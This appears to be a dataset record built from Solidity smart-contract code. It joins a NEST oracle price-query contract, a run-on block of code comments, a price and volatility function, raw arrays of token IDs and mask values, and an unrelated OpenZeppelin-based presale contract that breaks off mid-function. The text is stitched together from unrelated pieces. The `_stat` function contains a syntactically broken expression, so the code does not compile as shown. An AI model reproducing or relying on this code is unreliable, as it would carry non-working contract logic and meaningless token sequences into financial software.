nest contract NestBatchPlatform2 is NestBatchMining, INestBatchPriceView, INestBatchPrice2 { /* ========== INestBatchPriceView ========== */ /// @dev Get the latest trigger price /// @param channelId 报价通道编号 /// @param pairIndex 报价对编号 /// @return blockNumber The block number of price /// @return price The token price. (1eth equivalent to (price) token) function triggeredPrice(uint channelId, uint pairIndex) external view override noContract returns (uint blockNumber, uint price) { return _triggeredPrice(_channels[channelId].pairs[pairIndex]); } /// @dev Get the full information of latest trigger price /// @param channelId 报价通道编号 /// @param pairIndex 报价对编号 /// @return blockNumber The block number of price /// @return price The token price. (1eth equivalent to (price) token) /// @return avgPrice Average price /// @return sigmaSQ The square of the volatility (18 decimal places). The current implementation assumes that /// the volatility cannot exceed 1. Correspondingly, when the return value is equal to 999999999999996447, /// it means that the volatility has exceeded the range that can be expressed function triggeredPriceInfo(uint channelId, uint pairIndex) external view override noContract returns ( uint blockNumber, uint price, uint avgPrice, uint sigmaSQ ) { return _triggeredPriceInfo(_channels[channelId].pairs[pairIndex]); } /// @dev Find the price at block number /// @param channelId 报价通道编号 /// @param pairIndex 报价对编号 /// @param height Destination block number /// @return blockNumber The block number of price /// @return price The token price. (1eth equivalent to (price) token) function findPrice( uint channelId, uint pairIndex, uint height ) external view override noContract returns (uint blockNumber, uint price) { return _findPrice(_channels[channelId].pairs[pairIndex], height); } // /// @dev Get the latest effective price // /// @param channelId 报价通道编号 // /// @param pairIndex 报价对编号 // /// @return blockNumber The block number of price // /// @return price The token price. (1eth equivalent to (price) token) // function latestPrice(uint channelId, uint pairIndex) external view override noContract returns (uint blockNumber, uint price) { // return _latestPrice(_channels[channelId].pairs[pairIndex]); // } /// @dev Get the last (num) effective price /// @param channelId 报价通道编号 /// @param pairIndex 报价对编号 /// @param count The number of prices that want to return /// @return An array which length is num * 2, each two element expresses one price like blockNumber|price function lastPriceList(uint channelId, uint pairIndex, uint count) external view override noContract returns (uint[] memory) { return _lastPriceList(_channels[channelId].pairs[pairIndex], count); } /// @dev Returns lastPriceList and triggered price info /// @param channelId 报价通道编号 /// @param pairIndex 报价对编号 /// @param count The number of prices that want to return /// @return prices An array which length is num * 2, each two element expresses one price like blockNumber|price /// @return triggeredPriceBlockNumber The block number of triggered price /// @return triggeredPriceValue The token triggered price. (1eth equivalent to (price) token) /// @return triggeredAvgPrice Average price /// @return triggeredSigmaSQ The square of the volatility (18 decimal places). The current implementation /// assumes that the volatility cannot exceed 1. Correspondingly, when the return value is equal to /// 999999999999996447, it means that the volatility has exceeded the range that can be expressed function lastPriceListAndTriggeredPriceInfo(uint channelId, uint pairIndex, uint count) external view override noContract returns ( uint[] memory prices, uint triggeredPriceBlockNumber, uint triggeredPriceValue, uint triggeredAvgPrice, uint triggeredSigmaSQ ) { //return _lastPriceListAndTriggeredPriceInfo(_channels[channelId].pairs[pairIndex], count); PricePair storage pair = _channels[channelId].pairs[pairIndex]; prices = _lastPriceList(pair, count); ( triggeredPriceBlockNumber, triggeredPriceValue, triggeredAvgPrice, triggeredSigmaSQ ) = _triggeredPriceInfo(pair); } /* ========== INestBatchPrice ========== */ /// @dev Get the latest trigger price /// @param channelId 报价通道编号 /// @param pairIndices 报价对编号 /// @param payback 如果费用有多余的,则退回到此地址 /// @return prices 价格数组, i * 2 为第i个价格所在区块, i * 2 + 1 为第i个价格 function triggeredPrice( uint channelId, uint[] calldata pairIndices, address payback ) external payable override returns (uint[] memory prices) { PricePair[0xFFFF] storage pairs = _pay(channelId, payback).pairs; uint n = pairIndices.length << 1; prices = new uint[](n); while (n > 0) { n -= 2; (prices[n], prices[n + 1]) = _triggeredPrice(pairs[pairIndices[n >> 1]]); } } /// @dev Get the full information of latest trigger price /// @param channelId 报价通道编号 /// @param pairIndices 报价对编号 /// @param payback 如果费用有多余的,则退回到此地址 /// @return prices 价格数组, i * 4 为第i个价格所在区块, i * 4 + 1 为第i个价格, i * 4 + 2 为第i个平均价格, i * 4 + 3 为第i个波动率 function triggeredPriceInfo( uint channelId, uint[] calldata pairIndices, address payback ) external payable override returns (uint[] memory prices) { PricePair[0xFFFF] storage pairs = _pay(channelId, payback).pairs; uint n = pairIndices.length << 2; prices = new uint[](n); while (n > 0) { n -= 4; (prices[n], prices[n + 1], prices[n + 2], prices[n + 3]) = _triggeredPriceInfo(pairs[pairIndices[n >> 2]]); } } /// @dev Find the price at block number /// @param channelId 报价通道编号 /// @param pairIndices 报价对编号 /// @param height Destination block number /// @param payback 如果费用有多余的,则退回到此地址 /// @return prices 价格数组, i * 2 为第i个价格所在区块, i * 2 + 1 为第i个价格 function findPrice( uint channelId, uint[] calldata pairIndices, uint height, address payback ) external payable override returns (uint[] memory prices) { PricePair[0xFFFF] storage pairs = _pay(channelId, payback).pairs; uint n = pairIndices.length << 1; prices = new uint[](n); while (n > 0) { n -= 2; (prices[n], prices[n + 1]) = _findPrice(pairs[pairIndices[n >> 1]], height); } } // /// @dev Get the latest effective price // /// @param channelId 报价通道编号 // /// @param pairIndices 报价对编号 // /// @param payback 如果费用有多余的,则退回到此地址 // /// @return prices 价格数组, i * 2 为第i个价格所在区块, i * 2 + 1 为第i个价格 // function latestPrice( // uint channelId, // uint[] calldata pairIndices, // address payback // ) external payable override returns (uint[] memory prices) { // PricePair[0xFFFF] storage pairs = _pay(channelId, payback).pairs; // uint n = pairIndices.length << 1; // prices = new uint[](n); // while (n > 0) { // n -= 2; // (prices[n], prices[n + 1]) = _latestPrice(pairs[pairIndices[n >> 1]]); // } // } /// @dev Get the last (num) effective price /// @param channelId 报价通道编号 /// @param pairIndices 报价对编号 /// @param count The number of prices that want to return /// @param payback 如果费用有多余的,则退回到此地址 /// @return prices 结果数组,第 i * count * 2 到 (i + 1) * count * 2 - 1为第i组报价对的价格结果 function lastPriceList( uint channelId, uint[] calldata pairIndices, uint count, address payback ) external payable override returns (uint[] memory prices) { PricePair[0xFFFF] storage pairs = _pay(channelId, payback).pairs; uint row = count << 1; uint n = pairIndices.length * row; prices = new uint[](n); while (n > 0) { n -= row; uint[] memory pi = _lastPriceList(pairs[pairIndices[n / row]], count); for (uint i = 0; i < row; ++i) { prices[n + i] = pi[i]; } } } /// @dev Returns lastPriceList and triggered price info /// @param channelId 报价通道编号 /// @param pairIndices 报价对编号 /// @param count The number of prices that want to return /// @param payback 如果费用有多余的,则退回到此地址 /// @return prices 结果数组,第 i * (count * 2 + 4)到 (i + 1) * (count * 2 + 4)- 1为第i组报价对的价格结果 /// 其中前count * 2个为最新价格,后4个依次为:触发价格区块号,触发价格,平均价格,波动率 function lastPriceListAndTriggeredPriceInfo( uint channelId, uint[] calldata pairIndices, uint count, address payback ) external payable override returns (uint[] memory prices) { PricePair[0xFFFF] storage pairs = _pay(channelId, payback).pairs; uint row = (count << 1) + 4; uint n = pairIndices.length * row; prices = new uint[](n); while (n > 0) { n -= row; PricePair storage pair = pairs[pairIndices[n / row]]; uint[] memory pi = _lastPriceList(pair, count); for (uint i = 0; i + 4 < row; ++i) { prices[n + i] = pi[i]; } uint j = n + row - 4; ( prices[j], prices[j + 1], prices[j + 2], prices[j + 3] ) = _triggeredPriceInfo(pair); } } // Payment of transfer fee function _pay(uint channelId, address payback) private returns (PriceChannel storage channel) { channel = _channels[channelId]; uint fee = uint(channel.singleFee) * DIMI_ETHER; if (msg.value > fee) { payable(payback).transfer(msg.value - fee); // TODO: BSC上采用的是老的gas计算策略,直接转账可能导致代理合约gas超出,要改用下面的方式转账 //TransferHelper.safeTransferETH(payback, msg.value - fee); } else { require(msg.value == fee, "NOP:!fee"); } channel.rewards += _toUInt96(fee); } }
Calculate price, average price and volatility Load token price information Length of sheets The index of the sheet to be processed in the sheet array The latest block number for which the price has been calculated It's not necessary to load the price information in p0 Eth count variable used to calculate price Token count variable for price calculation Block number of current sheet Traverse the sheets to find the effective priceuint effectBlock = block.number - uint(config.priceEffectSpan); Gas attack analysis, each post transaction, calculated according to post, needs to write at least one sheet and freeze two kinds of assets, which needs to consume at least 30000 gas, In addition to the basic cost of the transaction, at least 50000 gas is required. In addition, there are other reading and calculation operations. The gas consumed by each transaction is impossible less than 70000 gas, The attacker can accumulate up to 20 blocks of sheets to be generated. To ensure that the calculation can be completed in one block, it is necessary to ensure that the consumption of each price does not exceed 70000 / 20 = 3500 gas, According to the current logic, each calculation of a price needs to read a storage unit (800) and calculate the consumption, which can not reach the dangerous value of 3500, so the gas attack is not considered Traverse the sheets that has reached the effective interval from the current position Not the same block (or flag is false), calculate the price and update it totalEthNum > 0 Can calculate the price Calculate average price and Volatility Calculation method of volatility of follow-up price New price Update price Clear cumulative values Calculate average price avgPrice[i + 1] = avgPrice[i] * 90% + price[i] * 10% When the accuracy of the token is very high or the value of the token relative to eth is very low, the price may be very large, and there may be overflow problem, it is not considered for the moment The current implementation assumes that the volatility cannot exceed 1, and corresponding to this, when the calculated value exceeds 1, expressed as 0xFFFFFFFFFFFF The calculation methods of average price and volatility are different for first price The average price is equal to the pricep0.avgTokenAmount = uint64(price); The volatility is 0 Update price information
function _stat(Config memory config, PricePair storage pair) private { PriceSheet[] storage sheets = pair.sheets; PriceInfo memory p0 = pair.price; uint length = sheets.length; uint index = uint(p0.index); uint prev = uint(p0.height); uint totalEthNum = 0; uint totalTokenValue = 0; uint height = 0; PriceSheet memory sheet; for (; ; ++index) { bool flag = index >= length || (height = uint((sheet = sheets[index]).height)) + uint(config.priceEffectSpan) >= block.number; if (flag || prev != height) { if (totalEthNum > 0) { uint tmp = _decodeFloat(p0.priceFloat); uint price = totalTokenValue / totalEthNum; p0.remainNum = uint32(totalEthNum); p0.priceFloat = _encodeFloat(price); totalEthNum = 0; totalTokenValue = 0; if (tmp > 0) { p0.avgFloat = _encodeFloat((_decodeFloat(p0.avgFloat) * 9 + price) / 10); tmp = (price << 48) / tmp; if (tmp > 0x1000000000000) { tmp = tmp - 0x1000000000000; tmp = 0x1000000000000 - tmp; } uint(p0.sigmaSQ) * 9 + ) / 10; if (tmp > 0xFFFFFFFFFFFF) { tmp = 0xFFFFFFFFFFFF; } p0.sigmaSQ = uint48(tmp); } else { p0.avgFloat = p0.priceFloat; p0.sigmaSQ = uint48(0); } } } if (flag) { break; } totalTokenValue += _decodeFloat(sheet.priceFloat) * uint(sheet.remainNum); } if (index > uint(p0.index)) { p0.index = uint32(index); pair.price = p0; } }
6,700,012
[ 1, 8695, 6205, 16, 8164, 6205, 471, 6626, 30139, 4444, 1147, 6205, 1779, 11311, 434, 25273, 1021, 770, 434, 326, 6202, 358, 506, 5204, 316, 326, 6202, 526, 1021, 4891, 1203, 1300, 364, 1492, 326, 6205, 711, 2118, 8894, 2597, 1807, 486, 4573, 358, 1262, 326, 6205, 1779, 316, 293, 20, 512, 451, 1056, 2190, 1399, 358, 4604, 6205, 3155, 1056, 2190, 364, 6205, 11096, 3914, 1300, 434, 783, 6202, 2197, 2476, 326, 25273, 358, 1104, 326, 11448, 6205, 11890, 5426, 1768, 273, 1203, 18, 2696, 300, 2254, 12, 1425, 18, 8694, 12477, 6952, 1769, 31849, 13843, 6285, 16, 1517, 1603, 2492, 16, 8894, 4888, 358, 1603, 16, 4260, 358, 1045, 622, 4520, 1245, 6202, 471, 16684, 2795, 21961, 434, 7176, 16, 1492, 4260, 358, 7865, 622, 4520, 890, 2787, 16189, 16, 657, 2719, 358, 326, 5337, 6991, 434, 326, 2492, 16, 622, 4520, 1381, 2787, 16189, 353, 1931, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 565, 445, 389, 5642, 12, 809, 3778, 642, 16, 20137, 4154, 2502, 3082, 13, 3238, 288, 203, 540, 203, 3639, 20137, 8229, 8526, 2502, 25273, 273, 3082, 18, 87, 10245, 31, 203, 3639, 20137, 966, 3778, 293, 20, 273, 3082, 18, 8694, 31, 203, 203, 3639, 2254, 769, 273, 25273, 18, 2469, 31, 203, 3639, 2254, 770, 273, 2254, 12, 84, 20, 18, 1615, 1769, 203, 3639, 2254, 2807, 273, 2254, 12, 84, 20, 18, 4210, 1769, 203, 3639, 2254, 2078, 41, 451, 2578, 273, 374, 31, 7010, 3639, 2254, 2078, 1345, 620, 273, 374, 31, 7010, 3639, 2254, 2072, 273, 374, 31, 203, 203, 3639, 20137, 8229, 3778, 6202, 31, 203, 3639, 364, 261, 31, 274, 965, 1615, 13, 288, 203, 203, 203, 5411, 1426, 2982, 273, 770, 1545, 769, 203, 7734, 747, 261, 4210, 273, 2254, 12443, 8118, 273, 25273, 63, 1615, 65, 2934, 4210, 3719, 397, 2254, 12, 1425, 18, 8694, 12477, 6952, 13, 1545, 1203, 18, 2696, 31, 203, 203, 5411, 309, 261, 6420, 747, 2807, 480, 2072, 13, 288, 203, 203, 7734, 309, 261, 4963, 41, 451, 2578, 405, 374, 13, 288, 203, 203, 10792, 2254, 1853, 273, 389, 3922, 4723, 12, 84, 20, 18, 8694, 4723, 1769, 203, 10792, 2254, 6205, 273, 2078, 1345, 620, 342, 2078, 41, 451, 2578, 31, 203, 10792, 293, 20, 18, 2764, 530, 2578, 273, 2254, 1578, 12, 4963, 41, 451, 2578, 1769, 203, 10792, 293, 20, 18, 8694, 4723, 273, 389, 3015, 4723, 12, 8694, 1769, 203, 10792, 2078, 41, 451, 2578, 2 ]
pragma solidity 0.5.16; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context is Initializable { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev Give an account access to this role. */ function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } /** * @dev Remove an account's access to this role. */ function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } /** * @dev Check if an account has this role. * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } contract PauserRole is Initializable, Context { using Roles for Roles.Role; event PauserAdded(address indexed account); event PauserRemoved(address indexed account); Roles.Role private _pausers; function initialize(address sender) public initializer { if (!isPauser(sender)) { _addPauser(sender); } } modifier onlyPauser() { require(isPauser(_msgSender()), "PauserRole: caller does not have the Pauser role"); _; } function isPauser(address account) public view returns (bool) { return _pausers.has(account); } function addPauser(address account) public onlyPauser { _addPauser(account); } function renouncePauser() public { _removePauser(_msgSender()); } function _addPauser(address account) internal { _pausers.add(account); emit PauserAdded(account); } function _removePauser(address account) internal { _pausers.remove(account); emit PauserRemoved(account); } uint256[50] private ______gap; } /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ contract Pausable is Initializable, Context, PauserRole { /** * @dev Emitted when the pause is triggered by a pauser (`account`). */ event Paused(address account); /** * @dev Emitted when the pause is lifted by a pauser (`account`). */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. Assigns the Pauser role * to the deployer. */ function initialize(address sender) public initializer { PauserRole.initialize(sender); _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Called by a pauser to pause, triggers stopped state. */ function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Called by a pauser to unpause, returns to normal state. */ function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(_msgSender()); } uint256[50] private ______gap; } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be aplied to your functions to restrict their use to * the owner. */ contract Ownable is Initializable, Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function initialize(address sender) public initializer { _owner = sender; emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * > Note: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[50] private ______gap; } /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. */ contract ReentrancyGuard is Initializable { // counter to allow mutex lock with only one SSTORE operation uint256 private _guardCounter; function initialize() public initializer { // The counter starts at one to prevent changing it from zero to a non-zero // value, which is a more expensive operation. _guardCounter = 1; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { _guardCounter += 1; uint256 localCounter = _guardCounter; _; require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call"); } uint256[50] private ______gap; } interface IUniswapV2Router01 { function factory() external pure returns (address); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); function WETH() external view returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); } library BasisPoints { using SafeMath for uint; uint constant private BASIS_POINTS = 10000; function mulBP(uint amt, uint bp) internal pure returns (uint) { if (amt == 0) return 0; return amt.mul(bp).div(BASIS_POINTS); } function divBP(uint amt, uint bp) internal pure returns (uint) { require(bp > 0, "Cannot divide by zero."); if (amt == 0) return 0; return amt.mul(BASIS_POINTS).div(bp); } function addBP(uint amt, uint bp) internal pure returns (uint) { if (amt == 0) return 0; if (bp == 0) return amt; return amt.add(mulBP(amt, bp)); } function subBP(uint amt, uint bp) internal pure returns (uint) { if (amt == 0) return 0; if (bp == 0) return amt; return amt.sub(mulBP(amt, bp)); } } contract LidSimplifiedPresaleTimer is Initializable, Ownable { using SafeMath for uint; uint public startTime; uint public endTime; uint public hardCapTimer; uint public softCap; address public presale; function initialize( uint _startTime, uint _hardCapTimer, uint _softCap, address _presale, address owner ) external initializer { Ownable.initialize(msg.sender); startTime = _startTime; hardCapTimer = _hardCapTimer; softCap = _softCap; presale = _presale; //Due to issue in oz testing suite, the msg.sender might not be owner _transferOwnership(owner); } function setStartTime(uint time) external onlyOwner { startTime = time; } function setEndTime(uint time) external onlyOwner { endTime = time; } function updateEndTime() external returns (uint) { if (endTime != 0) return endTime; if (presale.balance >= softCap) { endTime = now.add(hardCapTimer); return endTime; } return 0; } function isStarted() external view returns (bool) { return (startTime != 0 && now > startTime); } } contract LidSimplifiedPresaleRedeemer is Initializable, Ownable { using BasisPoints for uint; using SafeMath for uint; uint public redeemBP; uint public redeemInterval; uint[] public bonusRangeStart; uint[] public bonusRangeBP; uint public currentBonusIndex; uint public totalShares; uint public totalDepositors; mapping(address => uint) public accountDeposits; mapping(address => uint) public accountShares; mapping(address => uint) public accountClaimedTokens; address private presale; modifier onlyPresaleContract { require(msg.sender == presale, "Only callable by presale contract."); _; } function initialize( uint _redeemBP, uint _redeemInterval, uint[] calldata _bonusRangeStart, uint[] calldata 